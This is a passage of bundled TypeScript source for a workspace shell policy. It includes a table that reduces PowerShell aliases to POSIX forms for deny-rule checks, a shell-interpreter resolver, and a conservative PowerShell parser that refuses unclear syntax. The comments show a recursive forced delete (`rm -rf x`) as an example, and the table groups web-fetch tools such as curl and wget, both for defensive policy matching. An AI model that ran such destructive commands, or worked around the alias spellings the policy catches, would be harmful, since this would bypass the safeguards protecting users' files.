\"./shell-parser\";\n\n/**\n * PowerShell spells the same operation many ways (`Remove-Item`, `ri`, `rm`,\n * `del`, `erase`, `rd`, `rmdir`; parameters can be shortened to any\n * unambiguous prefix). Deny rules are written against one spelling, so the\n * policy also checks each command in its canonical POSIX-style form:\n * `Remove-Item -Recurse -Force x` is checked as `rm -rf x`.\n */\n\ntype ParamRole = \"recurse\" | \"force\" | \"operand\" | \"value\" | \"switch\" | \"method\" | \"outfile\";\n\ninterface Family {\n /** The canonical executable name. */\n canonical: string;\n /** Every spelling (lowercase) that means this family. */\n names: string[];\n /** Flag characters emitted for `-Recurse` / `-Force` (empty: not emitted). */\n recurseFlag: string;\n forceFlag: string;\n /** Parameters in priority order (the first whose name starts with the typed prefix wins). */\n params: Array<[string, ParamRole]>;\n}\n\nconst FAMILIES: Family[] = [\n {\n canonical: \"rm\",\n names: [\"remove-item\", \"ri\", \"rm\", \"del\", \"erase\", \"rd\", \"rmdir\"],\n recurseFlag: \"r\",\n forceFlag: \"f\",\n params: [\n [\"recurse\", \"recurse\"],\n [\"force\", \"force\"],\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"whatif\", \"switch\"],\n [\"confirm\", \"switch\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"credential\", \"value\"],\n [\"stream\", \"value\"],\n ],\n },\n {\n canonical: \"cp\",\n names: [\"copy-item\", \"cpi\", \"cp\", \"copy\"],\n recurseFlag: \"r\",\n forceFlag: \"f\",\n params: [\n [\"recurse\", \"recurse\"],\n [\"force\", \"force\"],\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"destination\", \"operand\"],\n [\"whatif\", \"switch\"],\n [\"confirm\", \"switch\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"credential\", \"value\"],\n ],\n },\n {\n canonical: \"mv\",\n names: [\"move-item\", \"mi\", \"mv\", \"move\"],\n recurseFlag: \"\",\n forceFlag: \"f\",\n params: [\n [\"force\", \"force\"],\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"destination\", \"operand\"],\n [\"whatif\", \"switch\"],\n [\"confirm\", \"switch\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"credential\", \"value\"],\n ],\n },\n {\n canonical: \"ls\",\n names: [\"get-childitem\", \"gci\", \"ls\", \"dir\"],\n recurseFlag: \"R\",\n forceFlag: \"a\",\n params: [\n [\"recurse\", \"recurse\"],\n [\"force\", \"force\"],\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"depth\", \"value\"],\n [\"name\", \"switch\"],\n ],\n },\n {\n canonical: \"cat\",\n names: [\"get-content\", \"gc\", \"cat\", \"type\"],\n recurseFlag: \"\",\n forceFlag: \"\",\n params: [\n [\"path\", \"operand\"],\n [\"literalpath\", \"operand\"],\n [\"totalcount\", \"value\"],\n [\"tail\", \"value\"],\n [\"head\", \"value\"],\n [\"encoding\", \"value\"],\n [\"filter\", \"value\"],\n [\"include\", \"value\"],\n [\"exclude\", \"value\"],\n [\"force\", \"switch\"],\n [\"raw\", \"switch\"],\n [\"wait\", \"switch\"],\n ],\n },\n {\n canonical: \"curl\",\n names: [\"invoke-webrequest\", \"iwr\", \"invoke-restmethod\", \"irm\", \"curl\", \"wget\"],\n recurseFlag: \"\",\n forceFlag: \"\",\n params: [\n [\"uri\", \"operand\"],\n [\"outfile\", \"outfile\"],\n [\"method\", \"method\"],\n [\"headers\", \"value\"],\n [\"body\", \"value\"],\n [\"contenttype\", \"value\"],\n [\"useragent\", \"value\"],\n [\"credential\", \"value\"],\n [\"timeoutsec\", \"value\"],\n [\"proxy\", \"value\"],\n ],\n },\n {\n canonical: \"kill\",\n names: [\"stop-process\", \"spps\", \"kill\"],\n recurseFlag: \"\",\n forceFlag: \"9\",\n params: [\n [\"id\", \"operand\"],\n [\"name\", \"operand\"],\n [\"force\", \"force\"],\n [\"inputobject\", \"value\"],\n [\"whatif\", \"switch\"],\n [\"confirm\", \"switch\"],\n ],\n },\n];\n\nconst BY_NAME = new Map<string, Family>();\n\nfor (const family of FAMILIES) {\n for (const name of family.names) {\n BY_NAME.set(name, family);\n }\n}\n\n/** PowerShell reads an en dash, em dash or horizontal bar as the parameter dash too. */\nconst FLAG_ORDER = \"rRfa9\";\n\nconst DASH = /^[-–—―]/;\n\n/** Lowercase executable name used to look an alias up. */\nfunction aliasKey(first: string): string {\n const base = first.split(/[\\\\/]/).pop() ?? first;\n\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\").toLowerCase();\n}\n\n/** Split `-Name` / `-Name:value` into the lowercase name and the inline value. */\nfunction parameter(arg: string): { name: string; inline?: string } | null {\n if (!DASH.test(arg) || arg.length < 2) {\n return null;\n }\n\n const body = arg.slice(1);\n const colon = body.indexOf(\":\");\n\n return colon === -1\n ? { name: body.toLowerCase() }\n : { name: body.slice(0, colon).toLowerCase(), inline: body.slice(colon + 1) };\n}\n\n/**\n * The canonical argv of a PowerShell command that uses an alias or cmdlet\n * name from the table (`Remove-Item -Recurse -Force x` → `[\"rm\", \"-rf\", \"x\"]`),\n * or `undefined` when the command has no canonical form.\n */\nexport function canonicalPowerShellArgv(argv: readonly string[]): string[] | undefined {\n const family = BY_NAME.get(aliasKey(argv[0] ?? \"\"));\n\n if (family === undefined) {\n return undefined;\n }\n\n let flags = \"\";\n const operands: string[] = [];\n const extras: string[] = [];\n\n for (let index = 1; index < argv.length; index++) {\n const arg = argv[index] ?? \"\";\n const parsed = parameter(arg);\n\n if (parsed === null) {\n operands.push(arg);\n\n continue;\n }\n\n const match = family.params.find(\n ([name]) => parsed.name !== \"\" && name.startsWith(parsed.name),\n );\n\n if (match === undefined) {\n continue;\n }\n\n const role = match[1];\n\n if (role === \"recurse\") {\n flags += family.recurseFlag;\n } else if (role === \"force\") {\n flags += family.forceFlag;\n } else if (role === \"switch\") {\n continue;\n } else {\n const value = parsed.inline ?? argv[++index] ?? \"\";\n\n if (role === \"operand\") {\n operands.push(value);\n } else if (role === \"outfile\") {\n extras.push(\"-o\", value);\n } else if (role === \"method\") {\n extras.push(\"-X\", value);\n }\n }\n }\n\n // Keep each flag once, in a stable order.\n const unique = [...FLAG_ORDER].filter((flag) => flags.includes(flag)).join(\"\");\n\n return [family.canonical, ...(unique !== \"\" ? [`-${unique}`] : []), ...extras, ...operands];\n}\n\n/** The names PowerShell's `cd` goes by. */\nexport const POWERSHELL_CD_NAMES = new Set([\"cd\", \"sl\", \"set-location\", \"chdir\"]);\n\n/** Directory stack commands, refused because the policy does not track them. */\nexport const POWERSHELL_DIRECTORY_STACK = new Set([\n \"push-location\",\n \"pushd\",\n \"pop-location\",\n \"popd\",\n]);\n\n/**\n * Normalise a PowerShell `cd` to `[cd, directory]`: `-Path x`, `-LiteralPath x`\n * (and their prefixes, `-Path:x`) become the directory operand. Returns `null`\n * for any other parameter (`-PassThru`, `-StackName`, …).\n */\nexport function normalizePowerShellCd(words: ShellWord[]): ShellWord[] | null {\n const first = words[0];\n\n if (first === undefined) {\n return null;\n }\n\n const operands: ShellWord[] = [];\n\n for (let index = 1; index < words.length; index++) {\n const word = words[index] as ShellWord;\n const parsed = word.quoted ? null : parameter(word.value);\n\n if (parsed === null) {\n operands.push(word);\n\n continue;\n }\n\n const isPath = parsed.name.length >= 2 && \"path\".startsWith(parsed.name);\n const isLiteral = parsed.name.length >= 1 && \"literalpath\".startsWith(parsed.name);\n\n if (!isPath && !isLiteral) {\n return null;\n }\n\n if (parsed.inline !== undefined) {\n operands.push({ ...word, raw: parsed.inline, value: parsed.inline });\n } else {\n const next = words[++index];\n\n if (next === undefined) {\n return null;\n }\n\n operands.push(next);\n }\n }\n\n return [first, ...operands];\n}\n","import { accessSync, constants } from \"node:fs\";\nimport path from \"node:path\";\nimport type { WorkspaceShellInterpreter, WorkspaceShellPolicy } from \"../contracts\";\nimport type { ShellDialect } from \"./shell-parser\";\n\n/** An interpreter after `\"auto\"` has been resolved: what actually runs the line. */\nexport type ResolvedShellInterpreter = Exclude<WorkspaceShellInterpreter, \"auto\">;\n\n/** What the resolver reads from the host, injectable so every platform is testable anywhere. */\nexport interface ShellHost {\n /** `process.platform`. */\n platform: NodeJS.Platform;\n /** The host's `PATH` value (not the workspace's isolated environment). */\n pathEnv: string | undefined;\n /** Whether `file` is an existing executable file. */\n isExecutable(file: string): boolean;\n /**\n * The version of the PowerShell at `file` (for example `\"7.4.6\"`), when the\n * host can tell. Optional: the real host does not start the shell to ask, so\n * `version` is then known only for Windows PowerShell (always `\"5.1\"`).\n */\n powershellVersion?(file: string): string | undefined;\n}\n\n/**\n * Which PowerShell a `powershell` interpreter is: `\"desktop\"` is Windows\n * PowerShell 5.1 (`powershell.exe`), `\"core\"` is PowerShell 7+ (`pwsh`).\n */\nexport type PowerShellEdition = \"desktop\" | \"core\";\n\n/** The shell a policy's `interpreter` resolves to on a host. */\nexport interface ResolvedShell {\n /** The concrete interpreter (never `\"auto\"`). */\n interpreter: ResolvedShellInterpreter;\n /** The grammar its command lines are parsed with. */\n dialect: ShellDialect;\n /** For `\"powershell\"`: which edition runs the lines. Absent when the executable was not found. */\n edition?: PowerShellEdition;\n /** For `\"powershell\"`: the shell's version, when known (`\"5.1\"` for Windows PowerShell). */\n version?: string;\n /**\n * The executable to spawn: `interpreterPath`, or the shell found on `PATH`.\n * Absent when the shell was not found (the spawn then reports the failure)\n * or for `\"none\"`.\n */\n file?: string;\n /** A human-readable name for descriptions, e.g. `bash`, `PowerShell 7 (pwsh)`. */\n label: string;\n}\n\n/** The real host: the running platform, `process.env.PATH`, and the filesystem. */\nexport function currentShellHost(): ShellHost {\n return {\n platform: process.platform,\n pathEnv: process.env.PATH ?? process.env.Path,\n isExecutable: (file) => {\n try {\n accessSync(file, process.platform === \"win32\" ? constants.F_OK : constants.X_OK);\n\n return true;\n } catch {\n return false;\n }\n },\n };\n}\n\n/** The grammar a concrete interpreter reads on `platform`. */\nexport function dialectOf(\n interpreter: ResolvedShellInterpreter,\n platform: NodeJS.Platform = process.platform,\n edition?: PowerShellEdition,\n): ShellDialect {\n if (interpreter === \"powershell\") {\n // Windows PowerShell 5.1 has no `&&` / `||`, so it reads its own grammar.\n return edition === \"desktop\" ? \"powershell5\" : \"powershell\";\n }\n\n if (interpreter === \"cmd\") {\n return \"cmd\";\n }\n\n // `sh` is cmd.exe on Windows, where there is no /bin/sh.\n return interpreter === \"sh\" && platform === \"win32\" ? \"cmd\" : \"posix\";\n}\n\n/** The first of `names` found in the host's `PATH` (Windows: with `.exe`). */\nfunction findOnPath(names: string[], host: ShellHost): string | undefined {\n const windows = host.platform === \"win32\";\n const separator = windows ? \";\" : \":\";\n const join = windows ? path.win32.join : path.posix.join;\n const directories = (host.pathEnv ?? \"\").split(separator).filter((entry) => entry !== \"\");\n\n for (const name of names) {\n for (const directory of directories) {\n const candidate = join(directory, windows ? `${name}.exe` : name);\n\n if (host.isExecutable(candidate)) {\n return candidate;\n }\n }\n }\n\n return undefined;\n}\n\n/** Git for Windows' `bash.exe`, derived from the `git` found on `PATH`. */\nfunction findGitBash(host: ShellHost): string | undefined {\n const git = findOnPath([\"git\"], host);\n\n if (git === undefined) {\n return undefined;\n }\n\n // …\\Git\\cmd\\git.exe, …\\Git\\bin\\git.exe or …\\Git\\mingw64\\bin\\git.exe\n const win = path.win32;\n const roots = [win.dirname(win.dirname(git)), win.dirname(win.dirname(win.dirname(git)))];\n\n for (const root of roots) {\n for (const candidate of [\n win.join(root, \"bin\", \"bash.exe\"),\n win.join(root, \"usr\", \"bin\", \"bash.exe\"),\n ]) {\n if (host.isExecutable(candidate)) {\n return candidate;\n }\n }\n }\n\n return undefined;\n}\n\n/** The PowerShell executable names, newest first. */\nfunction powershellNames(host: ShellHost): string[] {\n return host.platform === \"win32\" ? [\"pwsh\", \"powershell\"] : [\"pwsh\"];\n}\n\n/** The edition of the PowerShell executable `file`: `powershell.exe` is Windows PowerShell, anything else (`pwsh`) is PowerShell 7+. */\nfunction editionOf(file: string): PowerShellEdition {\n return /(^|[\\\\/])powershell(\\.exe)?$/i.test(file) ? \"desktop\" : \"core\";\n}\n\nfunction powershellLabel(edition: PowerShellEdition | undefined): string {\n if (edition === \"desktop\") {\n return \"Windows PowerShell 5.1 (powershell)\";\n }\n\n return edition === \"core\" ? \"PowerShell 7 (pwsh)\" : \"PowerShell\";\n}\n\n/**\n * Resolve a shell policy's `interpreter` (and `interpreterPath`) to the\n * concrete shell that will run lines, and the grammar they are checked with.\n *\n * `\"auto\"` picks, on Windows, `pwsh` (PowerShell 7+), then Git Bash (found next\n * to `git`), then Windows PowerShell 5.1, then `cmd.exe`; elsewhere `bash`,\n * then `sh`. Windows PowerShell 5.1 gets its own dialect (`\"powershell5\"`)\n * because it cannot run `&&` / `||`; `edition` and `version` say which one\n * was found. An explicit interpreter whose executable\n * is not on `PATH` keeps its name and has no `file`, so the spawn reports the\n * missing shell instead of quietly running another one.\n *\n * @example\n * resolveShell({ interpreter: \"auto\" }, { platform: \"win32\", pathEnv: \"C:\\\\bin\", isExecutable })\n */\nexport function resolveShell(\n shell: Pick<WorkspaceShellPolicy, \"interpreter\" | \"interpreterPath\"> | undefined,\n host: ShellHost = currentShellHost(),\n): ResolvedShell {\n const requested = shell?.interpreter ?? \"none\";\n const explicit = shell?.interpreterPath;\n\n if (requested === \"none\") {\n return { interpreter: \"none\", dialect: \"posix\", label: \"none\" };\n }\n\n let interpreter: ResolvedShellInterpreter;\n let file: string | undefined = explicit;\n\n if (requested === \"auto\") {\n if (explicit !== undefined) {\n interpreter = /(^|[\\\\/])(pwsh|powershell)(\\.exe)?$/i.test(explicit)\n ? \"powershell\"\n : /(^|[\\\\/])cmd(\\.exe)?$/i.test(explicit)\n ? \"cmd\"\n : /(^|[\\\\/])bash(\\.exe)?$/i.test(explicit)\n ? \"bash\"\n : \"sh\";\n } else if (host.platform === \"win32\") {\n const core = findOnPath([\"pwsh\"], host);\n const gitBash = core === undefined ? findGitBash(host) : undefined;\n const desktop =\n core === undefined && gitBash === undefined ? findOnPath([\"powershell\"], host) : undefined;\n const found = core ?? gitBash ?? desktop;\n\n interpreter =\n core !== undefined || desktop !== undefined\n ? \"powershell\"\n : gitBash !== undefined\n ? \"bash\"\n : \"cmd\";\n file = found;\n } else {\n const bash = findOnPath([\"bash\"], host);\n\n interpreter = bash !== undefined ? \"bash\" : \"sh\";\n file = bash;\n }\n } else {\n interpreter = requested;\n }\n\n if (file === undefined) {\n if (interpreter === \"powershell\") {\n file = findOnPath(powershellNames(host), host);\n } else if (interpreter === \"bash\") {\n file =\n findOnPath([\"bash\"], host) ?? (host.platform === \"win32\" ? findGitBash(host) : undefined);\n } else if (interpreter === \"cmd\" && host.platform === \"win32\") {\n file = process.env.ComSpec ?? \"cmd.exe\";\n }\n }\n\n const edition = interpreter === \"powershell\" && file !== undefined ? editionOf(file) : undefined;\n const version =\n edition === \"desktop\"\n ? \"5.1\"\n : edition === \"core\" && file !== undefined\n ? host.powershellVersion?.(file)\n : undefined;\n\n const labels: Record<ResolvedShellInterpreter, string> = {\n none: \"none\",\n sh: host.platform === \"win32\" ? \"cmd.exe\" : \"sh\",\n bash: \"bash\",\n cmd: \"cmd.exe\",\n powershell: powershellLabel(edition),\n };\n\n return {\n interpreter,\n dialect: dialectOf(interpreter, host.platform, edition),\n ...(edition !== undefined ? { edition } : {}),\n ...(version !== undefined ? { version } : {}),\n ...(file !== undefined ? { file } : {}),\n label: labels[interpreter],\n };\n}\n","import type {\n ShellParseResult,\n ShellRedirect,\n ShellSegment,\n ShellSimpleCommand,\n ShellWord,\n} from \"./shell-parser\";\n\n/**\n * Parser for the PowerShell dialect (`powershell -Command` / `pwsh -Command`).\n *\n * Like the other dialects it is deliberately conservative: it finds every\n * simple command a line would run and every redirection target, and refuses\n * what it cannot read with confidence. Supported: `;` and line breaks, `&&`,\n * `||`, `|`, `$( )` subexpressions (their commands are checked too), the call\n * operator `&` in front of a command, single and double\n * quotes (including the typographic quotes PowerShell treats as quotes),\n * backtick escapes, `$name` / `${name}` / `$env:NAME` variables (dynamic\n * words), and the redirections `>`, `>>`, `2>`, `2>>`, `*>`, `2>&1`.\n *\n * Refused: script blocks and braces, bare parentheses,\n * `@( )` / `@{ }` / splatting / here-strings, the stop-parsing token `--%`,\n * `<` redirection, comments, the comma operator, compound-statement\n * keywords (`if`, `foreach`, `function`, `try`, …), dot-sourcing, a `&` that\n * is not a call operator (background jobs), and type literals.\n */\n\n/** Statement keywords that start a compound command; refused in command position. */\nconst POWERSHELL_KEYWORDS = new Set([\n \"if\",\n \"elseif\",\n \"else\",\n \"switch\",\n \"foreach\",\n \"for\",\n \"while\",\n \"do\",\n \"until\",\n \"function\",\n \"filter\",\n \"workflow\",\n \"param\",\n \"begin\",\n \"process\",\n \"end\",\n \"try\",\n \"catch\",\n \"finally\",\n \"trap\",\n \"data\",\n \"class\",\n \"enum\",\n \"using\",\n \"return\",\n \"break\",\n \"continue\",\n \"throw\",\n \"parallel\",\n \"sequence\",\n \"inlinescript\",\n]);\n\n/** Characters PowerShell reads as a single quote. */\nconst SINGLE_QUOTES = \"'‘’‚‛\";\n\n/** Characters PowerShell reads as a double quote. */\nconst DOUBLE_QUOTES = '\"“”„';\n\n/** Variable-name characters after `$`. */\nconst VARIABLE_CHAR = /[A-Za-z0-9_:?^$]/;\n\n/** Whether `char` (never the empty end-of-input string) is one of `set`. */\nfunction inSet(set: string, char: string): boolean {\n return char !== \"\" && set.includes(char);\n}\n\nclass PowerShellRefusal extends Error {\n public constructor(\n public readonly reason: \"unbalanced-quotes\" | \"unsupported-syntax\",\n message: string,\n ) {\n super(message);\n }\n}\n\nfunction unsupported(message: string): PowerShellRefusal {\n return new PowerShellRefusal(\"unsupported-syntax\", message);\n}\n\nclass PowerShellParser {\n private pos = 0;\n\n public constructor(\n private readonly src: string,\n public readonly commands: ShellSimpleCommand[] = [],\n private readonly depth = 0,\n private readonly chaining = true,\n ) {}\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private skipBlanks(): void {\n while (this.peek() === \" \" || this.peek() === \"\\t\") {\n this.pos++;\n }\n }\n\n private atLineBreak(): boolean {\n return this.peek() === \"\\n\" || this.peek() === \"\\r\";\n }\n\n public parseProgram(segments: ShellSegment[]): void {\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n if (segments.length === 0) {\n throw unsupported(\"The command is empty.\");\n }\n\n if (\n segments[segments.length - 1]?.operator === \"&&\" ||\n segments[segments.length - 1]?.operator === \"||\"\n ) {\n throw unsupported(\"The line ends with an operator but no command follows it.\");\n }\n\n return;\n }\n\n const start = this.pos;\n\n this.parsePipeline();\n\n const end = this.pos;\n\n this.skipBlanks();\n\n const operator = this.readListOperator();\n\n segments.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === null) {\n if (!this.atEnd()) {\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n\n return;\n }\n\n if (operator === \";\" || operator === \"\\n\") {\n // Further separators and blanks are allowed after one; a trailing run is fine.\n while (this.peek() === \" \" || this.peek() === \"\\t\" || this.atLineBreak()) {\n this.pos++;\n }\n } else {\n this.skipBlanks();\n }\n }\n }\n\n private readListOperator(): string | null {\n const char = this.peek();\n\n if (\n !this.chaining &&\n ((char === \"&\" && this.peek(1) === \"&\") || (char === \"|\" && this.peek(1) === \"|\"))\n ) {\n throw unsupported(\n `Windows PowerShell 5.1 cannot run ${char}${char}; use ; or run each command in its own call instead.`,\n );\n }\n\n if (char === \"&\" && this.peek(1) === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n if (char === \"|\" && this.peek(1) === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n if (char === \";\") {\n this.pos++;\n\n return \";\";\n }\n\n if (this.atLineBreak()) {\n while (this.atLineBreak()) {\n this.pos++;\n }\n\n return \"\\n\";\n }\n\n return null;\n }\n\n private parsePipeline(): void {\n this.parseCommand();\n\n while (this.peek() === \"|\" && this.peek(1) !== \"|\") {\n this.pos++;\n this.skipBlanks();\n\n if (this.atEnd() || this.atLineBreak() || this.peek() === \";\") {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseCommand();\n }\n }\n\n private atRedirectStart(): boolean {\n const char = this.peek();\n\n if (char === \">\") {\n return true;\n }\n\n return /[1-6*]/.test(char) && this.peek(1) === \">\";\n }\n\n private parseCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n let callOperator = false;\n\n if (this.peek() === \"&\" && this.peek(1) !== \"&\") {\n callOperator = true;\n this.pos++;\n this.skipBlanks();\n }\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd() || this.atLineBreak() || this.peek() === \";\" || this.peek() === \"|\") {\n break;\n }\n\n if (this.peek() === \"&\") {\n if (this.peek(1) === \"&\") {\n break;\n }\n\n throw unsupported(\n \"`&` is only supported as the call operator in front of a command (not as a background job).\",\n );\n }\n\n if (this.peek() === \"<\") {\n throw unsupported(\"`<` is not supported in PowerShell command lines.\");\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n command.words.push(word);\n\n if (command.words.length === 1) {\n this.checkCommandWord(word);\n }\n }\n\n if (command.words.length === 0 && (callOperator || command.redirects.length === 0)) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.commands.push(command);\n }\n\n private checkCommandWord(word: ShellWord): void {\n if (word.raw.startsWith(\"[\")) {\n throw unsupported(`\\`${word.raw}\\` (a type literal) is not supported.`);\n }\n\n if (!word.quoted && word.value === \".\") {\n throw unsupported(\n \"Dot-sourcing (`. file`) runs a script in the current scope and is not supported.\",\n );\n }\n\n if (!word.quoted && POWERSHELL_KEYWORDS.has(word.value.toLowerCase())) {\n throw unsupported(`\\`${word.value}\\` starts a PowerShell statement, which is not supported.`);\n }\n }\n\n private parseRedirect(): ShellRedirect {\n let fd: number | undefined;\n\n if (this.peek() === \"*\") {\n this.pos++;\n } else if (/[1-6]/.test(this.peek())) {\n fd = Number(this.peek());\n this.pos++;\n }\n\n let op = \">\";\n\n if (this.peek(1) === \">\") {\n op = \">>\";\n }\n\n this.pos += op.length;\n\n if (op === \">\" && this.peek() === \"&\") {\n if (/[1-6]/.test(this.peek(1))) {\n const target: ShellWord = {\n raw: this.peek(1),\n value: this.peek(1),\n dynamic: false,\n quoted: false,\n };\n\n this.pos += 2;\n\n return { op: \">&\", ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n throw unsupported(\"Only `>&1`-style stream merges (`2>&1`) are supported.\");\n }\n\n this.skipBlanks();\n\n if (this.atEnd() || this.atLineBreak() || /[;&|<>]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"write\" };\n }\n\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n\n if (this.src.startsWith(\"--%\", this.pos) && /[\\s;|&]|^$/.test(this.src.charAt(this.pos + 3))) {\n throw unsupported(\"The stop-parsing token `--%` is not supported.\");\n }\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"\\n\" ||\n char === \"\\r\" ||\n char === \";\" ||\n char === \"|\" ||\n char === \"&\" ||\n char === \">\" ||\n char === \"<\"\n ) {\n break;\n }\n\n if (inSet(SINGLE_QUOTES, char)) {\n this.pos++;\n quoted = true;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw new PowerShellRefusal(\"unbalanced-quotes\", \"A single quote is never closed.\");\n }\n\n const inner = this.peek();\n\n if (inSet(SINGLE_QUOTES, inner)) {\n if (inSet(SINGLE_QUOTES, this.peek(1))) {\n value += this.peek(1);\n this.pos += 2;\n\n continue;\n }\n\n this.pos++;\n\n break;\n }\n\n value += inner;\n this.pos++;\n }\n\n continue;\n }\n\n if (inSet(DOUBLE_QUOTES, char)) {\n this.pos++;\n quoted = true;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw new PowerShellRefusal(\"unbalanced-quotes\", \"A double quote is never closed.\");\n }\n\n const inner = this.peek();\n\n if (inSet(DOUBLE_QUOTES, inner)) {\n if (inSet(DOUBLE_QUOTES, this.peek(1))) {\n value += this.peek(1);\n this.pos += 2;\n\n continue;\n }\n\n this.pos++;\n\n break;\n }\n\n if (inner === \"`\") {\n const next = this.peek(1);\n\n if (next !== \"\" && (inSet(DOUBLE_QUOTES, next) || next === \"`\" || next === \"$\")) {\n value += next;\n this.pos += 2;\n\n continue;\n }\n\n throw unsupported(\n 'Only `\"`, `` ` `` and `$` can follow a backtick inside double quotes.',\n );\n }\n\n if (inner === \"$\") {\n const read = this.readVariable();\n\n value += read;\n dynamic = true;\n\n continue;\n }\n\n value += inner;\n this.pos++;\n }\n\n continue;\n }\n\n if (char === \"`\") {\n const next = this.peek(1);\n\n if (next === \"\" || next === \"\\n\" || next === \"\\r\") {\n throw unsupported(\n \"A backtick at the end of a line (line continuation) is not supported.\",\n );\n }\n\n value += next;\n quoted = true;\n this.pos += 2;\n\n continue;\n }\n\n if (char === \"$\") {\n const wasLiteral = this.src.charAt(this.pos + 1);\n\n if (\n wasLiteral === \"\" ||\n !(wasLiteral === \"{\" || wasLiteral === \"(\" || VARIABLE_CHAR.test(wasLiteral))\n ) {\n value += \"$\";\n this.pos++;\n\n continue;\n }\n\n value += this.readVariable();\n dynamic = true;\n\n continue;\n }\n\n if (char === \"@\" && this.pos === start) {\n const next = this.peek(1);\n\n if (\n next === \"(\" ||\n next === \"{\" ||\n next === \"'\" ||\n next === '\"' ||\n /[A-Za-z_$]/.test(next)\n ) {\n throw unsupported(\n \"Arrays (`@( )`), hashtables, splatting (`@name`) and here-strings are not supported.\",\n );\n }\n }\n\n if (char === \"{\" || char === \"}\") {\n throw unsupported(\"Script blocks and braces are not supported.\");\n }\n\n if (char === \"(\" || char === \")\") {\n throw unsupported(\n \"Parentheses (grouping and `$( )` subexpressions) are not supported; quote the text.\",\n );\n }\n\n if (char === \",\") {\n throw unsupported(\n \"The comma operator builds an array and is not supported; quote the text.\",\n );\n }\n\n if (char === \"#\" && this.pos === start) {\n throw unsupported(\"Comments are not supported in a command line.\");\n }\n\n if (char === \"*\" || char === \"?\" || char === \"[\" || (char === \"~\" && this.pos === start)) {\n dynamic = true;\n }\n\n value += char;\n this.pos++;\n }\n\n return { raw: this.src.slice(start, this.pos), value, dynamic, quoted };\n }\n\n /**\n * Parse a `$( … )` subexpression: its commands run, so they are collected\n * (before the command that contains it) and checked like any other.\n */\n private parseSubexpression(): void {\n if (this.depth >= 8) {\n throw unsupported(\"`$( )` subexpressions are nested too deeply.\");\n }\n\n const open = this.pos;\n let level = 0;\n let index = open;\n\n for (; index < this.src.length; index++) {\n const char = this.src.charAt(index);\n\n if (inSet(SINGLE_QUOTES, char) || inSet(DOUBLE_QUOTES, char)) {\n const set = inSet(SINGLE_QUOTES, char) ? SINGLE_QUOTES : DOUBLE_QUOTES;\n\n index++;\n\n while (index < this.src.length) {\n const inner = this.src.charAt(index);\n\n if (inner === \"`\" && set === DOUBLE_QUOTES) {\n index += 2;\n\n continue;\n }\n\n if (inSet(set, inner)) {\n if (inSet(set, this.src.charAt(index + 1))) {\n index += 2;\n\n continue;\n }\n\n break;\n }\n\n index++;\n }\n\n continue;\n }\n\n if (char === \"`\") {\n index++;\n\n continue;\n }\n\n if (char === \"(\") {\n level++;\n } else if (char === \")\") {\n level--;\n\n if (level === 0) {\n break;\n }\n }\n }\n\n if (level !== 0) {\n throw new PowerShellRefusal(\"unbalanced-quotes\", \"A `$(` subexpression is never closed.\");\n }\n\n const inner = this.src.slice(open + 1, index);\n\n new PowerShellParser(inner, this.commands, this.depth + 1, this.chaining).parseProgram([]);\n this.pos = index + 1;\n }\n\n /** Read `$name`, `${name}` or `$env:NAME` at the cursor; a `$(` is refused. */\n private readVariable(): string {\n const begin = this.pos;\n\n this.pos++;\n\n if (this.peek() === \"(\") {\n this.parseSubexpression();\n\n return this.src.slice(begin, this.pos);\n }\n\n if (this.peek() === \"{\") {\n const close = this.src.indexOf(\"}\", this.pos);\n\n if (close === -1) {\n throw new PowerShellRefusal(\"unbalanced-quotes\", \"A `${` variable name is never closed.\");\n }\n\n this.pos = close + 1;\n\n return this.src.slice(begin, this.pos);\n }\n\n while (!this.atEnd() && VARIABLE_CHAR.test(this.peek())) {\n this.pos++;\n }\n\n return this.src.slice(begin, this.pos);\n }\n}\n\n/** Parse a PowerShell command line for the shell policy. Never throws. */\nexport function parsePowerShellLine(\n line: string,\n options?: { chaining?: boolean },\n): ShellParseResult {\n const segments: ShellSegment[] = [];\n const parser = new PowerShellParser(line, [], 0, options?.chaining !== false);\n\n try {\n parser.parseProgram(segments);\n\n return { ok: true, commands: parser.commands, segments, background: false };\n } catch (error) {\n if (error instanceof PowerShellRefusal) {\n return { ok: false, reason: error.reason, message: error.message };\n }\n\n throw error;\n }\n}\n","import { 